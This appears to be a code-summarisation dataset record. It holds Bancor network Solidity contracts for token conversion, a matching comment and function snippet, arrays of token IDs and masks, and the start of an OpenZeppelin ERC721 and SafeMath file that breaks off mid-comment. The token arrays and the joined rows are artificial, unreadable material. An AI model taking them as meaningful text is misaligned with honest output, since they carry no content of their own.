_path, uint256 _amount, uint256 _minReturn, address _for, uint256 _block, uint8 _v, bytes32 _r, bytes32 _s) public payable returns (uint256); // deprecated, backward compatibility function convertForPrioritized( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for, uint256 _block, uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s) public payable returns (uint256); } /* Utilities & Common Modifiers */ contract Utils { /** constructor */ function Utils() public { } // verifies that an amount is greater than zero modifier greaterThanZero(uint256 _amount) { require(_amount > 0); _; } // validates an address - currently only checks that it isn't null modifier validAddress(address _address) { require(_address != address(0)); _; } // verifies that the address is different than this contract address modifier notThis(address _address) { require(_address != address(this)); _; } // Overflow protected math functions /** @dev returns the sum of _x and _y, asserts if the calculation overflows @param _x value 1 @param _y value 2 @return sum */ function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } /** @dev returns the difference of _x minus _y, asserts if the subtraction results in a negative number @param _x minuend @param _y subtrahend @return difference */ function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) { assert(_x >= _y); return _x - _y; } /** @dev returns the product of multiplying _x by _y, asserts if the calculation overflows @param _x factor 1 @param _y factor 2 @return product */ function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x * _y; assert(_x == 0 || z / _x == _y); return z; } } /* Provides support and utilities for contract ownership */ contract Owned is IOwned { address public owner; address public newOwner; event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner); /** @dev constructor */ function Owned() public { owner = msg.sender; } // allows execution by the owner only modifier ownerOnly { assert(msg.sender == owner); _; } /** @dev allows transferring the contract ownership the new owner still needs to accept the transfer can only be called by the contract owner @param _newOwner new contract owner */ function transferOwnership(address _newOwner) public ownerOnly { require(_newOwner != owner); newOwner = _newOwner; } /** @dev used by a new owner to accept an ownership transfer */ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = address(0); } } /** Id definitions for bancor contracts Can be used in conjunction with the contract registry to get contract addresses */ contract ContractIds { bytes32 public constant BANCOR_NETWORK = "BancorNetwork"; bytes32 public constant BANCOR_FORMULA = "BancorFormula"; bytes32 public constant CONTRACT_FEATURES = "ContractFeatures"; } /** Id definitions for bancor contract features Can be used to query the ContractFeatures contract to check whether a certain feature is supported by a contract */ contract FeatureIds { // converter features uint256 public constant CONVERTER_CONVERSION_WHITELIST = 1 << 0; } /* We consider every contract to be a 'token holder' since it's currently not possible for a contract to deny receiving tokens. The TokenHolder's contract sole purpose is to provide a safety mechanism that allows the owner to send tokens that were sent to the contract by mistake back to their sender. */ contract TokenHolder is ITokenHolder, Owned, Utils { /** @dev constructor */ function TokenHolder() public { } /** @dev withdraws tokens held by the contract and sends them to an account can only be called by the owner @param _token ERC20 token contract address @param _to account to receive the new amount @param _amount amount to withdraw */ function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public ownerOnly validAddress(_token) validAddress(_to) notThis(_to) { assert(_token.transfer(_to, _amount)); } } /* The BancorNetwork contract is the main entry point for bancor token conversions. It also allows converting between any token in the bancor network to any other token in a single transaction by providing a conversion path. A note on conversion path - Conversion path is a data structure that's used when converting a token to another token in the bancor network when the conversion cannot necessarily be done by single converter and might require multiple 'hops'. The path defines which converters should be used and what kind of conversion should be done in each step. The path format doesn't include complex structure and instead, it is represented by a single array in which each 'hop' is represented by a 2-tuple - smart token & to token. In addition, the first element is always the source token. The smart token is only used as a pointer to a converter (since converter addresses are more likely to change). Format: [source token, smart token, to token, smart token, to token...] */ contract BancorNetwork is IBancorNetwork, TokenHolder, ContractIds, FeatureIds { address public signerAddress = 0x0; // verified address that allows conversions with higher gas price IContractRegistry public registry; // contract registry contract address IBancorGasPriceLimit public gasPriceLimit; // bancor universal gas price limit contract mapping (address => bool) public etherTokens; // list of all supported ether tokens mapping (bytes32 => bool) public conversionHashes; // list of conversion hashes, to prevent re-use of the same hash /** @dev constructor @param _registry address of a contract registry contract */ function BancorNetwork(IContractRegistry _registry) public validAddress(_registry) { registry = _registry; } // validates a conversion path - verifies that the number of elements is odd and that maximum number of 'hops' is 10 modifier validConversionPath(IERC20Token[] _path) { require(_path.length > 2 && _path.length <= (1 + 2 * 10) && _path.length % 2 == 1); _; } /* @dev allows the owner to update the contract registry contract address @param _registry address of a contract registry contract */ function setContractRegistry(IContractRegistry _registry) public ownerOnly validAddress(_registry) notThis(_registry) { registry = _registry; } /* @dev allows the owner to update the gas price limit contract address @param _gasPriceLimit address of a bancor gas price limit contract */ function setGasPriceLimit(IBancorGasPriceLimit _gasPriceLimit) public ownerOnly validAddress(_gasPriceLimit) notThis(_gasPriceLimit) { gasPriceLimit = _gasPriceLimit; } /* @dev allows the owner to update the signer address @param _signerAddress new signer address */ function setSignerAddress(address _signerAddress) public ownerOnly validAddress(_signerAddress) notThis(_signerAddress) { signerAddress = _signerAddress; } /** @dev allows the owner to register/unregister ether tokens @param _token ether token contract address @param _register true to register, false to unregister */ function registerEtherToken(IEtherToken _token, bool _register) public ownerOnly validAddress(_token) notThis(_token) { etherTokens[_token] = _register; } /** @dev verifies that the signer address is trusted by recovering the address associated with the public key from elliptic curve signature, returns zero on error. notice that the signature is valid only for one conversion and expires after the give block. @return true if the signer is verified */ function verifyTrustedSender(IERC20Token[] _path, uint256 _amount, uint256 _block, address _addr, uint8 _v, bytes32 _r, bytes32 _s) private returns(bool) { bytes32 hash = keccak256(_block, tx.gasprice, _addr, msg.sender, _amount, _path); // checking that it is the first conversion with the given signature // and that the current block number doesn't exceeded the maximum block // number that's allowed with the current signature require(!conversionHashes[hash] && block.number <= _block); // recovering the signing address and comparing it to the trusted signer // address that was set in the contract bytes32 prefixedHash = keccak256("\x19Ethereum Signed Message:\n32", hash); bool verified = ecrecover(prefixedHash, _v, _r, _s) == signerAddress; // if the signer is the trusted signer - mark the hash so that it can't // be used multiple times if (verified) conversionHashes[hash] = true; return verified; } /** @dev converts the token to any other token in the bancor network by following a predefined conversion path and transfers the result tokens to a target account note that the converter should already own the source tokens @param _path conversion path, see conversion path format above @param _amount amount to convert from (in the initial source token) @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero @param _for account that will receive the conversion result @return tokens issued in return */ function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public payable returns (uint256) { return convertForPrioritized2(_path, _amount, _minReturn, _for, 0x0, 0x0, 0x0, 0x0); } /** @dev converts the token to any other token in the bancor network by following a predefined conversion path and transfers the result tokens to a target account. this version of the function also allows the verified signer to bypass the universal gas price limit. note that the converter should already own the source tokens @param _path conversion path, see conversion path format above @param _amount amount to convert from (in the initial source token) @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero @param _for account that will receive the conversion result @return tokens issued in return */ function convertForPrioritized2(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for, uint256 _block, uint8 _v, bytes32 _r, bytes32 _s) public payable validConversionPath(_path) returns (uint256) { // if ETH is provided, ensure that the amount is identical to _amount and verify that the source token is an ether token IERC20Token fromToken = _path[0]; require(msg.value == 0 || (_amount == msg.value && etherTokens[fromToken])); // if ETH was sent with the call, the source is an ether token - deposit the ETH in it // otherwise, we assume we already have the tokens if (msg.value > 0) IEtherToken(fromToken).deposit.value(msg.value)(); return convertForInternal(_path, _amount, _minReturn, _for, _block, _v, _r, _s); } /** @dev converts token to any other token in the bancor network by following the predefined conversion paths and transfers the result tokens to a targeted account. this version of the function also allows multiple conversions in a single atomic transaction. note that the converter should already own the source tokens @param _paths merged conversion paths, i.e. [path1, path2, ...]. see conversion path format above @param _pathStartIndex each item in the array is the start index of the nth path in _paths @param _amounts amount to convert from (in the initial source token) for each path @param _minReturns minimum return for each path. if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero @param _for account that will receive the conversions result @return amount of conversion result for each path */ function convertForMultiple(IERC20Token[] _paths, uint256[] _pathStartIndex, uint256[] _amounts, uint256[] _minReturns, address _for) public payable returns (uint256[]) { // if ETH is provided, ensure that the total amount was converted into other tokens uint256 convertedValue = 0; uint256 pathEndIndex; // iterate over the conversion paths for (uint256 i = 0; i < _pathStartIndex.length; i += 1) { pathEndIndex = i == (_pathStartIndex.length - 1) ? _paths.length : _pathStartIndex[i + 1]; // copy a single path from _paths into an array IERC20Token[] memory path = new IERC20Token[](pathEndIndex - _pathStartIndex[i]); for (uint256 j = _pathStartIndex[i]; j < pathEndIndex; j += 1) { path[j - _pathStartIndex[i]] = _paths[j]; } // if ETH is provided, ensure that the amount is lower than the path amount and // verify that the source token is an ether token. otherwise ensure that // the source is not an ether token IERC20Token fromToken = path[0]; require(msg.value == 0 || (_amounts[i] <= msg.value && etherTokens[fromToken]) || !etherTokens[fromToken]); // if ETH was sent with the call, the source is an ether token - deposit the ETH path amount in it. // otherwise, we assume we already have the tokens if (msg.value > 0 && etherTokens[fromToken]) { IEtherToken(fromToken).deposit.value(_amounts[i])(); convertedValue += _amounts[i]; } _amounts[i] = convertForInternal(path, _amounts[i], _minReturns[i], _for, 0x0, 0x0, 0x0, 0x0); } // if ETH was provided, ensure that the full amount was converted require(convertedValue == msg.value); return _amounts; } /** @dev converts token to any other token in the bancor network by following a predefined conversion paths and transfers the result tokens to a target account. @param _path conversion path, see conversion path format above @param _amount amount to convert from (in the initial source token) @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero @param _for account that will receive the conversion result @param _block if the current block exceeded the given parameter - it is cancelled @param _v (signature[128:130]) associated with the signer address and helps to validate if the signature is legit @param _r (signature[0:64]) associated with the signer address and helps to validate if the signature is legit @param _s (signature[64:128]) associated with the signer address and helps to validate if the signature is legit @return tokens issued in return */ function convertForInternal( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for, uint256 _block, uint8 _v, bytes32 _r, bytes32 _s ) private validConversionPath(_path) returns (uint256) { if (_v == 0x0 && _r == 0x0 && _s == 0x0) gasPriceLimit.validateGasPrice(tx.gasprice); else require(verifyTrustedSender(_path, _amount, _block, _for, _v, _r, _s)); // if ETH is provided, ensure that the amount is identical to _amount and verify that the source token is an ether token IERC20Token fromToken = _path[0]; IERC20Token toToken; (toToken, _amount) = convertByPath(_path, _amount, _minReturn, fromToken, _for); // finished the conversion, transfer the funds to the target account // if the target token is an ether token, withdraw the tokens and send them as ETH // otherwise, transfer the tokens as is if (etherTokens[toToken]) IEtherToken(toToken).withdrawTo(_for, _amount); else assert(toToken.transfer(_for, _amount)); return _amount; } /** @dev executes the actual conversion by following the conversion path @param _path conversion path, see conversion path format above @param _amount amount to convert from (in the initial source token) @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero @param _fromToken ERC20 token to convert from (the first element in the path) @param _for account that will receive the conversion result @return ERC20 token to convert to (the last element in the path) & tokens issued in return */ function convertByPath( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, IERC20Token _fromToken, address _for ) private returns (IERC20Token, uint256) { ISmartToken smartToken; IERC20Token toToken; IBancorConverter converter; // get the contract features address from the registry IContractFeatures features = IContractFeatures(registry.getAddress(ContractIds.CONTRACT_FEATURES)); // iterate over the conversion path uint256 pathLength = _path.length; for (uint256 i = 1; i < pathLength; i += 2) { smartToken = ISmartToken(_path[i]); toToken = _path[i + 1]; converter = IBancorConverter(smartToken.owner()); checkWhitelist(converter, _for, features); // if the smart token isn't the source (from token), the converter doesn't have control over it and thus we need to approve the request if (smartToken != _fromToken) ensureAllowance(_fromToken, converter, _amount); // make the conversion - if it's the last one, also provide the minimum return value _amount = converter.change(_fromToken, toToken, _amount, i == pathLength - 2 ? _minReturn : 1); _fromToken = toToken; } return (toToken, _amount); } /** @dev checks whether the given converter supports a whitelist and if so, ensures that the account that should receive the conversion result is actually whitelisted @param _converter converter to check for whitelist @param _for account that will receive the conversion result @param _features contract features contract address */ function checkWhitelist(IBancorConverter _converter, address _for, IContractFeatures _features) private view { IWhitelist whitelist; // check if the converter supports the conversion whitelist feature if (!_features.isSupported(_converter, FeatureIds.CONVERTER_CONVERSION_WHITELIST)) return; // get the whitelist contract from the converter whitelist = _converter.conversionWhitelist(); if (whitelist == address(0)) return; // check if the account that should receive the conversion result is actually whitelisted require(whitelist.isWhitelisted(_for)); } /** @dev claims the caller's tokens, converts them to any other token in the bancor network by following a predefined conversion path and transfers the result tokens to a target account note that allowance must be set beforehand @param _path conversion path, see conversion path format above @param _amount amount to convert from (in the initial source token) @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero @param _for account that will receive the conversion result @return tokens issued in return */ function claimAndConvertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public returns (uint256) { // we need to transfer the tokens from the caller to the converter before we follow // the conversion path, to allow it to execute the conversion on behalf of the caller // note: we assume we already have allowance IERC20Token fromToken = _path[0]; assert(fromToken.transferFrom(msg.sender, this, _amount)); return convertFor(_path, _amount, _minReturn, _for); } /** @dev converts the token to any other token in the bancor network by following a predefined conversion path and transfers the result tokens back to the sender note that the converter should already own the source tokens @param _path conversion path, see conversion path format above @param _amount amount to convert from (in the initial source token) @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero @return tokens issued in return */ function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256) { return convertFor(_path, _amount, _minReturn, msg.sender); } /** @dev claims the caller's tokens, converts them to any other token in the bancor network by following a predefined conversion path and transfers the result tokens back to the sender note that allowance must be set beforehand @param _path conversion path, see conversion path format above @param _amount amount to convert from (in the initial source token) @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero @return tokens issued in return */ function claimAndConvert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public returns (uint256) { return claimAndConvertFor(_path, _amount, _minReturn, msg.sender); } /** @dev utility, checks whether allowance for the given spender exists and approves one if it doesn't @param _token token to check the allowance in @param _spender approved address @param _value allowance amount */ function ensureAllowance(IERC20Token _token, address _spender, uint256 _value) private { // check if allowance for the given amount already exists if (_token.allowance(this, _spender) >= _value) return; // if the allowance is nonzero, must reset it to 0 first if (_token.allowance(this, _spender) != 0) assert(_token.approve(_spender, 0)); // approve the new allowance assert(_token.approve(_spender, _value)); } // deprecated, backward compatibility function convertForPrioritized( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for, uint256 _block, uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s) public payable returns (uint256) { convertForPrioritized2(_path, _amount, _minReturn, _for, _block, _v, _r, _s); } }
/ get the contract features address from the registry iterate over the conversion path if the smart token isn't the source (from token), the converter doesn't have control over it and thus we need to approve the request make the conversion - if it's the last one, also provide the minimum return value
function convertByPath( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, IERC20Token _fromToken, address _for ) private returns (IERC20Token, uint256) { ISmartToken smartToken; IERC20Token toToken; IBancorConverter converter; IContractFeatures features = IContractFeatures(registry.getAddress(ContractIds.CONTRACT_FEATURES)); uint256 pathLength = _path.length; for (uint256 i = 1; i < pathLength; i += 2) { smartToken = ISmartToken(_path[i]); toToken = _path[i + 1]; converter = IBancorConverter(smartToken.owner()); checkWhitelist(converter, _for, features); if (smartToken != _fromToken) ensureAllowance(_fromToken, converter, _amount); _amount = converter.change(_fromToken, toToken, _amount, i == pathLength - 2 ? _minReturn : 1); _fromToken = toToken; } return (toToken, _amount); } the account that should receive the conversion result is actually whitelisted @param _converter converter to check for whitelist @param _for account that will receive the conversion result @param _features contract features contract address
1,222,377
[ 1, 19, 336, 326, 6835, 4467, 1758, 628, 326, 4023, 7401, 1879, 326, 4105, 589, 309, 326, 13706, 1147, 5177, 1404, 326, 1084, 261, 2080, 1147, 3631, 326, 6027, 3302, 1404, 1240, 3325, 1879, 518, 471, 12493, 732, 1608, 358, 6617, 537, 326, 590, 1221, 326, 4105, 300, 309, 518, 1807, 326, 1142, 1245, 16, 2546, 5615, 326, 5224, 327, 460, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1765, 16736, 12, 203, 3639, 467, 654, 39, 3462, 1345, 8526, 389, 803, 16, 203, 3639, 2254, 5034, 389, 8949, 16, 203, 3639, 2254, 5034, 389, 1154, 990, 16, 203, 3639, 467, 654, 39, 3462, 1345, 389, 2080, 1345, 16, 203, 3639, 1758, 389, 1884, 203, 565, 262, 3238, 1135, 261, 45, 654, 39, 3462, 1345, 16, 2254, 5034, 13, 288, 203, 3639, 4437, 81, 485, 1345, 13706, 1345, 31, 203, 3639, 467, 654, 39, 3462, 1345, 358, 1345, 31, 203, 3639, 23450, 304, 3850, 5072, 6027, 31, 203, 203, 3639, 467, 8924, 8696, 4467, 273, 467, 8924, 8696, 12, 9893, 18, 588, 1887, 12, 8924, 2673, 18, 6067, 2849, 1268, 67, 18257, 55, 10019, 203, 203, 3639, 2254, 5034, 589, 1782, 273, 389, 803, 18, 2469, 31, 203, 3639, 364, 261, 11890, 5034, 277, 273, 404, 31, 277, 411, 589, 1782, 31, 277, 1011, 576, 13, 288, 203, 5411, 13706, 1345, 273, 4437, 81, 485, 1345, 24899, 803, 63, 77, 19226, 203, 5411, 358, 1345, 273, 389, 803, 63, 77, 397, 404, 15533, 203, 5411, 6027, 273, 23450, 304, 3850, 5072, 12, 26416, 1345, 18, 8443, 10663, 203, 5411, 866, 18927, 12, 15747, 16, 389, 1884, 16, 4467, 1769, 203, 203, 5411, 309, 261, 26416, 1345, 480, 389, 2080, 1345, 13, 203, 7734, 3387, 7009, 1359, 24899, 2080, 1345, 16, 6027, 16, 389, 8949, 1769, 203, 203, 5411, 389, 8949, 273, 6027, 18, 3427, 24899, 2080, 1345, 16, 358, 1345, 16, 389, 8949, 16, 277, 422, 589, 1782, 300, 576, 692, 2 ]
// File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/introspection/IERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/introspection/ERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor() internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow 